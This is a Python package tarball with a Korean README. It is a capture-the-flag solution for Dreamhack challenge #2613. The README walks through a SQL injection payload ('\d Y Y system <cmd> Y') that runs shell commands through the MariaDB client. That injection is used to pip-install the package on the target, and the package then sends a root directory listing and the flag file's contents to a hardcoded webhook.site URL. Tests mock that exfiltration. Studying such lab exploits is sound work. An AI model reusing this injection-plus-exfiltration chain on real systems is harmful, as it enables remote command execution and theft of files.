dhflagrelay2613c8a6 0.1.0__tar.gz

dhflagrelay2613c8a6-0.1.0/PKG-INFO

@@ -0,0 +1,99 @@
+Metadata-Version: 2.4
+Name: dhflagrelay2613c8a6
+Version: 0.1.0
+Summary: Small command relay for a Dreamhack SQL injection practice challenge
+Requires-Python: >=3.8
+Description-Content-Type: text/markdown
+
+# Dreamhack #2613: PyPI 패키지 방식 재현
+
+이 예제는 문제 풀이에 나온 경로를 그대로 따라간다. `login`의 SQL 삽입으로
+MariaDB **클라이언트**의 `system` 명령을 실행하고, 입력 필터로 직접 쓸 수 없는
+파일 경로와 웹훅 주소를 미리 PyPI 패키지 안에 넣는다. 첫 배포는 `/` 목록을
+웹훅으로 보내고, 두 번째 배포는 실제 플래그 파일을 읽어 보낸다.
+
+패키지/모듈 이름은 `dhflagrelay2613c8a6`이다. 공격 입력의 정규식이 허용하는
+영소문자와 숫자만 사용하며, 구분자 `Y`와도 충돌하지 않는다. PyPI에 같은
+이름이 이미 있으면 **프로젝트 이름, 패키지 폴더, 명령 예시를 모두** 새로운
+영소문자·숫자 이름으로 바꿔야 한다.
+
+## 1. PyPI 계정과 업로드 도구
+
+1. [PyPI 가입](https://pypi.org/account/register/) 후 이메일을 인증한다.
+2. Account settings에서 인증 앱(TOTP)이나 보안 키로 2단계 인증을 설정한다.
+3. Account settings → API tokens에서 토큰을 만든다. 첫 프로젝트 업로드에는
+   프로젝트 전용 토큰을 아직 만들 수 없으므로 계정 범위 토큰을 사용한다.
+   첫 업로드 후 프로젝트 범위 토큰을 만들고 계정 범위 토큰은 폐기할 수 있다.
+4. 이 폴더를 PowerShell에서 열고 실행한다.
+
+```powershell
+py -m pip install --upgrade build twine
+py -m unittest discover -s tests -v
+py -m build --outdir dist-stage1
+py -m twine upload -u __token__ .\dist-stage1\*
+```
+
+마지막 명령에서 비밀번호를 묻는 프롬프트에 `pypi-`로 시작하는 API 토큰을
+입력한다. 토큰을 소스 코드나 명령행에 직접 넣지 않는다. 업로드 후
+`https://pypi.org/project/dhflagrelay2613c8a6/`에서 버전 `0.1.0`을 확인한다.
+
+참고: [Python Packaging Guide](https://packaging.python.org/en/latest/tutorials/packaging-projects/),
+[PyPI 계정·2FA·토큰 도움말](https://pypi.org/help/).
+
+## 2. 첫 단계: 원격에서 설치하고 `/` 목록 받기
+
+다음 명령은 로컬 `send_payload.py`가 로그인 요청을 만드는 명령이다. 서버에서
+실행되는 명령은 `pip3 ...`와 `python3 ...` 부분이다. 문제 인스턴스 주소가
+바뀌었으면 URL을 바꾼다.
+
+```powershell
+py .\send_payload.py http://host3.dreamhack.games:17702/ pip3 install --upgrade --no-cache-dir dhflagrelay2613c8a6
+py .\send_payload.py http://host3.dreamhack.games:17702/ python3 -m dhflagrelay2613c8a6 curl --query-cmd ls
+```
+
+웹훅 `https://webhook.site/1c87b41b-baa0-484a-b86a-8807a453dfcc`에서 두 번째
+요청의 `result` 쿼리 값을 본다. 목록 속 `/flag_...txt` 파일명을 기록한다.
+서버가 로그인 페이지에 `Failed to execute query`를 표시해도 `system`의
+부수효과는 발생할 수 있다. 웹훅 수신 여부로 확인한다.
+
+## 3. 두 번째 단계: 파일 경로를 패키지에 넣고 재배포
+
+1. `dhflagrelay2613c8a6/settings.py`에서 `FLAG_PATH = None`을 실제
+   `"/flag_...txt"`로 바꾼다. 추측한 경로가 아닌 웹훅에서 확인한 정확한 경로를 쓴다.
+2. `pyproject.toml`의 버전을 `0.1.0`에서 `0.1.1`로 올린다. PyPI는 같은
+   버전의 배포 파일을 덮어쓸 수 없다.
+3. 아래처럼 **새 출력 폴더**에 빌드하고 새 버전만 업로드한다.
+
+```powershell
+py -m unittest discover -s tests -v
+py -m build --outdir dist-stage2
+py -m twine upload -u __token__ .\dist-stage2\*
+py .\send_payload.py http://host3.dreamhack.games:17702/ pip3 install --upgrade --no-cache-dir dhflagrelay2613c8a6
+py .\send_payload.py http://host3.dreamhack.games:17702/ python3 -m dhflagrelay2613c8a6 curl --query-cmd cat
+```
+
+웹훅의 마지막 요청에서 `result` 값을 확인한다. `curl`은 OS의 curl 실행이
+아니라 패키지 내부 명령의 이름이다. 패키지는 Python 표준 라이브러리만
+사용하므로 원격 설치 때 추가 런타임 의존성은 없다.
+
+## 페이로드 구조
+
+`send_payload.py`는 로그인 폼에 `username`으로 백슬래시 하나(`\`)를,
+`password`로 다음 형태를 보낸다.
+
+```text
+\d Y Y system <실행할 명령> Y
+```
+
+`\d Y`가 MariaDB 클라이언트 구분자를 `Y`로 바꾼다. 다음 `Y`까지의 SQL을
+처리한 뒤 `system`이 앱 컨테이너의 셸 명령을 실행한다. 원본 풀이의 `x`와
+같은 원리이며, 이 도구는 명령에 `Y`가 섞이면 구분자 충돌을 막기 위해
+요청을 거부한다. `send_payload.py`는 실제 전송 전에 정규식 필터도 검사한다.
+
+## 주의
+
+- **패키지와 소스는 공개된다.** 웹훅 URL도 누구나 볼 수 있으므로 이 풀이에
+  쓰는 임시 웹훅을 사용하고, 끝나면 비활성화한다.
+- API 토큰을 패키지 소스에 넣지 않는다. 이 예제의 로컬 테스트는 HTTP 요청을
+  모의 처리하므로 웹훅에 테스트 데이터를 보내지 않는다.
+- 이 절차는 해당 Dreamhack 실습 인스턴스에만 사용한다.

dhflagrelay2613c8a6-0.1.0/README.md

@@ -0,0 +1,92 @@
+# Dreamhack #2613: PyPI 패키지 방식 재현
+
+이 예제는 문제 풀이에 나온 경로를 그대로 따라간다. `login`의 SQL 삽입으로
+MariaDB **클라이언트**의 `system` 명령을 실행하고, 입력 필터로 직접 쓸 수 없는
+파일 경로와 웹훅 주소를 미리 PyPI 패키지 안에 넣는다. 첫 배포는 `/` 목록을
+웹훅으로 보내고, 두 번째 배포는 실제 플래그 파일을 읽어 보낸다.
+
+패키지/모듈 이름은 `dhflagrelay2613c8a6`이다. 공격 입력의 정규식이 허용하는
+영소문자와 숫자만 사용하며, 구분자 `Y`와도 충돌하지 않는다. PyPI에 같은
+이름이 이미 있으면 **프로젝트 이름, 패키지 폴더, 명령 예시를 모두** 새로운
+영소문자·숫자 이름으로 바꿔야 한다.
+
+## 1. PyPI 계정과 업로드 도구
+
+1. [PyPI 가입](https://pypi.org/account/register/) 후 이메일을 인증한다.
+2. Account settings에서 인증 앱(TOTP)이나 보안 키로 2단계 인증을 설정한다.
+3. Account settings → API tokens에서 토큰을 만든다. 첫 프로젝트 업로드에는
+   프로젝트 전용 토큰을 아직 만들 수 없으므로 계정 범위 토큰을 사용한다.
+   첫 업로드 후 프로젝트 범위 토큰을 만들고 계정 범위 토큰은 폐기할 수 있다.
+4. 이 폴더를 PowerShell에서 열고 실행한다.
+
+```powershell
+py -m pip install --upgrade build twine
+py -m unittest discover -s tests -v
+py -m build --outdir dist-stage1
+py -m twine upload -u __token__ .\dist-stage1\*
+```
+
+마지막 명령에서 비밀번호를 묻는 프롬프트에 `pypi-`로 시작하는 API 토큰을
+입력한다. 토큰을 소스 코드나 명령행에 직접 넣지 않는다. 업로드 후
+`https://pypi.org/project/dhflagrelay2613c8a6/`에서 버전 `0.1.0`을 확인한다.
+
+참고: [Python Packaging Guide](https://packaging.python.org/en/latest/tutorials/packaging-projects/),
+[PyPI 계정·2FA·토큰 도움말](https://pypi.org/help/).
+
+## 2. 첫 단계: 원격에서 설치하고 `/` 목록 받기
+
+다음 명령은 로컬 `send_payload.py`가 로그인 요청을 만드는 명령이다. 서버에서
+실행되는 명령은 `pip3 ...`와 `python3 ...` 부분이다. 문제 인스턴스 주소가
+바뀌었으면 URL을 바꾼다.
+
+```powershell
+py .\send_payload.py http://host3.dreamhack.games:17702/ pip3 install --upgrade --no-cache-dir dhflagrelay2613c8a6
+py .\send_payload.py http://host3.dreamhack.games:17702/ python3 -m dhflagrelay2613c8a6 curl --query-cmd ls
+```
+
+웹훅 `https://webhook.site/1c87b41b-baa0-484a-b86a-8807a453dfcc`에서 두 번째
+요청의 `result` 쿼리 값을 본다. 목록 속 `/flag_...txt` 파일명을 기록한다.
+서버가 로그인 페이지에 `Failed to execute query`를 표시해도 `system`의
+부수효과는 발생할 수 있다. 웹훅 수신 여부로 확인한다.
+
+## 3. 두 번째 단계: 파일 경로를 패키지에 넣고 재배포
+
+1. `dhflagrelay2613c8a6/settings.py`에서 `FLAG_PATH = None`을 실제
+   `"/flag_...txt"`로 바꾼다. 추측한 경로가 아닌 웹훅에서 확인한 정확한 경로를 쓴다.
+2. `pyproject.toml`의 버전을 `0.1.0`에서 `0.1.1`로 올린다. PyPI는 같은
+   버전의 배포 파일을 덮어쓸 수 없다.
+3. 아래처럼 **새 출력 폴더**에 빌드하고 새 버전만 업로드한다.
+
+```powershell
+py -m unittest discover -s tests -v
+py -m build --outdir dist-stage2
+py -m twine upload -u __token__ .\dist-stage2\*
+py .\send_payload.py http://host3.dreamhack.games:17702/ pip3 install --upgrade --no-cache-dir dhflagrelay2613c8a6
+py .\send_payload.py http://host3.dreamhack.games:17702/ python3 -m dhflagrelay2613c8a6 curl --query-cmd cat
+```
+
+웹훅의 마지막 요청에서 `result` 값을 확인한다. `curl`은 OS의 curl 실행이
+아니라 패키지 내부 명령의 이름이다. 패키지는 Python 표준 라이브러리만
+사용하므로 원격 설치 때 추가 런타임 의존성은 없다.
+
+## 페이로드 구조
+
+`send_payload.py`는 로그인 폼에 `username`으로 백슬래시 하나(`\`)를,
+`password`로 다음 형태를 보낸다.
+
+```text
+\d Y Y system <실행할 명령> Y
+```
+
+`\d Y`가 MariaDB 클라이언트 구분자를 `Y`로 바꾼다. 다음 `Y`까지의 SQL을
+처리한 뒤 `system`이 앱 컨테이너의 셸 명령을 실행한다. 원본 풀이의 `x`와
+같은 원리이며, 이 도구는 명령에 `Y`가 섞이면 구분자 충돌을 막기 위해
+요청을 거부한다. `send_payload.py`는 실제 전송 전에 정규식 필터도 검사한다.
+
+## 주의
+
+- **패키지와 소스는 공개된다.** 웹훅 URL도 누구나 볼 수 있으므로 이 풀이에
+  쓰는 임시 웹훅을 사용하고, 끝나면 비활성화한다.
+- API 토큰을 패키지 소스에 넣지 않는다. 이 예제의 로컬 테스트는 HTTP 요청을
+  모의 처리하므로 웹훅에 테스트 데이터를 보내지 않는다.
+- 이 절차는 해당 Dreamhack 실습 인스턴스에만 사용한다.

dhflagrelay2613c8a6-0.1.0/dhflagrelay2613c8a6/__init__.py

@@ -0,0 +1 @@
+"""Dreamhack #2613 package entry point."""

dhflagrelay2613c8a6-0.1.0/dhflagrelay2613c8a6/__main__.py

@@ -0,0 +1,41 @@
+"""Run as `python3 -m dhflagrelay2613c8a6 curl --query-cmd ls|cat`."""
+
+import argparse
+import os
+import urllib.parse
+import urllib.request
+
+from . import settings
+
+
+def collect(query_cmd):
+    if query_cmd == "ls":
+        return "\n".join("/" + name for name in sorted(os.listdir("/")))
+    if query_cmd == "cat":
+        if not settings.FLAG_PATH or not settings.FLAG_PATH.startswith("/flag_"):
+            raise RuntimeError("Set FLAG_PATH to the exact flag path and publish a new version")
+        with open(settings.FLAG_PATH, "r", encoding="utf-8") as flag_file:
+            return flag_file.read()
+    raise ValueError("Unknown query command")
+
+
+def report(query_cmd, result):
+    params = urllib.parse.urlencode({"query_cmd": query_cmd, "result": result})
+    separator = "&" if "?" in settings.WEBHOOK_URL else "?"
+    url = settings.WEBHOOK_URL + separator + params
+    with urllib.request.urlopen(url, timeout=15) as response:
+        return response.status
+
+
+def main(argv=None):
+    parser = argparse.ArgumentParser()
+    parser.add_argument("mode", choices=["curl"])
+    parser.add_argument("--query-cmd", choices=["ls", "cat"], required=True)
+    args = parser.parse_args(argv)
+    result = collect(args.query_cmd)
+    report(args.query_cmd, result)
+    return 0
+
+
+if __name__ == "__main__":
+    raise SystemExit(main())

dhflagrelay2613c8a6-0.1.0/dhflagrelay2613c8a6/settings.py

@@ -0,0 +1,8 @@
+"""Values compiled into the published wheel (the challenge filter cannot type URLs)."""
+
+# This URL is public to anyone who downloads the PyPI package.
+WEBHOOK_URL = "https://webhook.site/1c87b41b-baa0-484a-b86a-8807a453dfcc"
+
+# After the first `ls` run, replace None with the exact absolute file path,
+# for example "/flag_0123456789abcdef.txt", then bump the package version.
+FLAG_PATH = None

dhflagrelay2613c8a6-0.1.0/dhflagrelay2613c8a6.egg-info/PKG-INFO

@@ -0,0 +1,99 @@
+Metadata-Version: 2.4
+Name: dhflagrelay2613c8a6
+Version: 0.1.0
+Summary: Small command relay for a Dreamhack SQL injection practice challenge
+Requires-Python: >=3.8
+Description-Content-Type: text/markdown
+
+# Dreamhack #2613: PyPI 패키지 방식 재현
+
+이 예제는 문제 풀이에 나온 경로를 그대로 따라간다. `login`의 SQL 삽입으로
+MariaDB **클라이언트**의 `system` 명령을 실행하고, 입력 필터로 직접 쓸 수 없는
+파일 경로와 웹훅 주소를 미리 PyPI 패키지 안에 넣는다. 첫 배포는 `/` 목록을
+웹훅으로 보내고, 두 번째 배포는 실제 플래그 파일을 읽어 보낸다.
+
+패키지/모듈 이름은 `dhflagrelay2613c8a6`이다. 공격 입력의 정규식이 허용하는
+영소문자와 숫자만 사용하며, 구분자 `Y`와도 충돌하지 않는다. PyPI에 같은
+이름이 이미 있으면 **프로젝트 이름, 패키지 폴더, 명령 예시를 모두** 새로운
+영소문자·숫자 이름으로 바꿔야 한다.
+
+## 1. PyPI 계정과 업로드 도구
+
+1. [PyPI 가입](https://pypi.org/account/register/) 후 이메일을 인증한다.
+2. Account settings에서 인증 앱(TOTP)이나 보안 키로 2단계 인증을 설정한다.
+3. Account settings → API tokens에서 토큰을 만든다. 첫 프로젝트 업로드에는
+   프로젝트 전용 토큰을 아직 만들 수 없으므로 계정 범위 토큰을 사용한다.
+   첫 업로드 후 프로젝트 범위 토큰을 만들고 계정 범위 토큰은 폐기할 수 있다.
+4. 이 폴더를 PowerShell에서 열고 실행한다.
+
+```powershell
+py -m pip install --upgrade build twine
+py -m unittest discover -s tests -v
+py -m build --outdir dist-stage1
+py -m twine upload -u __token__ .\dist-stage1\*
+```
+
+마지막 명령에서 비밀번호를 묻는 프롬프트에 `pypi-`로 시작하는 API 토큰을
+입력한다. 토큰을 소스 코드나 명령행에 직접 넣지 않는다. 업로드 후
+`https://pypi.org/project/dhflagrelay2613c8a6/`에서 버전 `0.1.0`을 확인한다.
+
+참고: [Python Packaging Guide](https://packaging.python.org/en/latest/tutorials/packaging-projects/),
+[PyPI 계정·2FA·토큰 도움말](https://pypi.org/help/).
+
+## 2. 첫 단계: 원격에서 설치하고 `/` 목록 받기
+
+다음 명령은 로컬 `send_payload.py`가 로그인 요청을 만드는 명령이다. 서버에서
+실행되는 명령은 `pip3 ...`와 `python3 ...` 부분이다. 문제 인스턴스 주소가
+바뀌었으면 URL을 바꾼다.
+
+```powershell
+py .\send_payload.py http://host3.dreamhack.games:17702/ pip3 install --upgrade --no-cache-dir dhflagrelay2613c8a6
+py .\send_payload.py http://host3.dreamhack.games:17702/ python3 -m dhflagrelay2613c8a6 curl --query-cmd ls
+```
+
+웹훅 `https://webhook.site/1c87b41b-baa0-484a-b86a-8807a453dfcc`에서 두 번째
+요청의 `result` 쿼리 값을 본다. 목록 속 `/flag_...txt` 파일명을 기록한다.
+서버가 로그인 페이지에 `Failed to execute query`를 표시해도 `system`의
+부수효과는 발생할 수 있다. 웹훅 수신 여부로 확인한다.
+
+## 3. 두 번째 단계: 파일 경로를 패키지에 넣고 재배포
+
+1. `dhflagrelay2613c8a6/settings.py`에서 `FLAG_PATH = None`을 실제
+   `"/flag_...txt"`로 바꾼다. 추측한 경로가 아닌 웹훅에서 확인한 정확한 경로를 쓴다.
+2. `pyproject.toml`의 버전을 `0.1.0`에서 `0.1.1`로 올린다. PyPI는 같은
+   버전의 배포 파일을 덮어쓸 수 없다.
+3. 아래처럼 **새 출력 폴더**에 빌드하고 새 버전만 업로드한다.
+
+```powershell
+py -m unittest discover -s tests -v
+py -m build --outdir dist-stage2
+py -m twine upload -u __token__ .\dist-stage2\*
+py .\send_payload.py http://host3.dreamhack.games:17702/ pip3 install --upgrade --no-cache-dir dhflagrelay2613c8a6
+py .\send_payload.py http://host3.dreamhack.games:17702/ python3 -m dhflagrelay2613c8a6 curl --query-cmd cat
+```
+
+웹훅의 마지막 요청에서 `result` 값을 확인한다. `curl`은 OS의 curl 실행이
+아니라 패키지 내부 명령의 이름이다. 패키지는 Python 표준 라이브러리만
+사용하므로 원격 설치 때 추가 런타임 의존성은 없다.
+
+## 페이로드 구조
+
+`send_payload.py`는 로그인 폼에 `username`으로 백슬래시 하나(`\`)를,
+`password`로 다음 형태를 보낸다.
+
+```text
+\d Y Y system <실행할 명령> Y
+```
+
+`\d Y`가 MariaDB 클라이언트 구분자를 `Y`로 바꾼다. 다음 `Y`까지의 SQL을
+처리한 뒤 `system`이 앱 컨테이너의 셸 명령을 실행한다. 원본 풀이의 `x`와
+같은 원리이며, 이 도구는 명령에 `Y`가 섞이면 구분자 충돌을 막기 위해
+요청을 거부한다. `send_payload.py`는 실제 전송 전에 정규식 필터도 검사한다.
+
+## 주의
+
+- **패키지와 소스는 공개된다.** 웹훅 URL도 누구나 볼 수 있으므로 이 풀이에
+  쓰는 임시 웹훅을 사용하고, 끝나면 비활성화한다.
+- API 토큰을 패키지 소스에 넣지 않는다. 이 예제의 로컬 테스트는 HTTP 요청을
+  모의 처리하므로 웹훅에 테스트 데이터를 보내지 않는다.
+- 이 절차는 해당 Dreamhack 실습 인스턴스에만 사용한다.

dhflagrelay2613c8a6-0.1.0/dhflagrelay2613c8a6.egg-info/SOURCES.txt

@@ -0,0 +1,10 @@
+README.md
+pyproject.toml
+dhflagrelay2613c8a6/__init__.py
+dhflagrelay2613c8a6/__main__.py
+dhflagrelay2613c8a6/settings.py
+dhflagrelay2613c8a6.egg-info/PKG-INFO
+dhflagrelay2613c8a6.egg-info/SOURCES.txt
+dhflagrelay2613c8a6.egg-info/dependency_links.txt
+dhflagrelay2613c8a6.egg-info/top_level.txt
+tests/test_package.py

dhflagrelay2613c8a6-0.1.0/dhflagrelay2613c8a6.egg-info/dependency_links.txt

@@ -0,0 +1 @@
+

dhflagrelay2613c8a6-0.1.0/dhflagrelay2613c8a6.egg-info/top_level.txt

@@ -0,0 +1 @@
+dhflagrelay2613c8a6

dhflagrelay2613c8a6-0.1.0/pyproject.toml

@@ -0,0 +1,14 @@
+[build-system]
+requires = ["setuptools>=68"]
+build-backend = "setuptools.build_meta"
+
+[project]
+name = "dhflagrelay2613c8a6"
+version = "0.1.0"
+description = "Small command relay for a Dreamhack SQL injection practice challenge"
+readme = "README.md"
+requires-python = ">=3.8"
+dependencies = []
+
+[tool.setuptools]
+packages = ["dhflagrelay2613c8a6"]

dhflagrelay2613c8a6-0.1.0/setup.cfg

@@ -0,0 +1,4 @@
+[egg_info]
+tag_build = 
+tag_date = 0
+

dhflagrelay2613c8a6-0.1.0/tests/test_package.py

@@ -0,0 +1,46 @@
+import io
+import unittest
+from unittest.mock import mock_open, patch
+from urllib.parse import parse_qs, urlparse
+
+from dhflagrelay2613c8a6 import __main__ as relay
+from send_payload import make_password
+
+
+class RelayTests(unittest.TestCase):
+    def test_ls_lists_root_and_sends_url_encoded_result(self):
+        response = io.BytesIO(b"ok")
+        response.status = 200
+        with patch.object(relay.os, "listdir", return_value=["z", "flag_abcd.txt", "a"]) as listing:
+            with patch.object(relay.urllib.request, "urlopen", return_value=response) as open_url:
+                self.assertEqual(relay.main(["curl", "--query-cmd", "ls"]), 0)
+        listing.assert_called_once_with("/")
+        url = open_url.call_args.args[0]
+        params = parse_qs(urlparse(url).query)
+        self.assertEqual(params["query_cmd"], ["ls"])
+        self.assertEqual(params["result"], ["/a\n/flag_abcd.txt\n/z"])
+
+    def test_cat_reads_hardcoded_path_and_sends_contents(self):
+        response = io.BytesIO(b"ok")
+        response.status = 200
+        with patch.object(relay.settings, "FLAG_PATH", "/flag_abcd.txt"):
+            with patch("builtins.open", mock_open(read_data="DH{example}\n")) as opened_file:
+                with patch.object(relay.urllib.request, "urlopen", return_value=response) as open_url:
+                    self.assertEqual(relay.main(["curl", "--query-cmd", "cat"]), 0)
+        opened_file.assert_called_once_with("/flag_abcd.txt", "r", encoding="utf-8")
+        url = open_url.call_args.args[0]
+        params = parse_qs(urlparse(url).query)
+        self.assertEqual(params["query_cmd"], ["cat"])
+        self.assertEqual(params["result"], ["DH{example}\n"])
+
+    def test_payload_uses_only_allowed_characters(self):
+        command = "pip3 install --upgrade --no-cache-dir dhflagrelay2613c8a6"
+        self.assertEqual(make_password(command), "\\d Y Y system " + command + " Y")
+
+    def test_delimiter_collision_rejected(self):
+        with self.assertRaises(ValueError):
+            make_password("echo Y")
+
+
+if __name__ == "__main__":
+    unittest.main()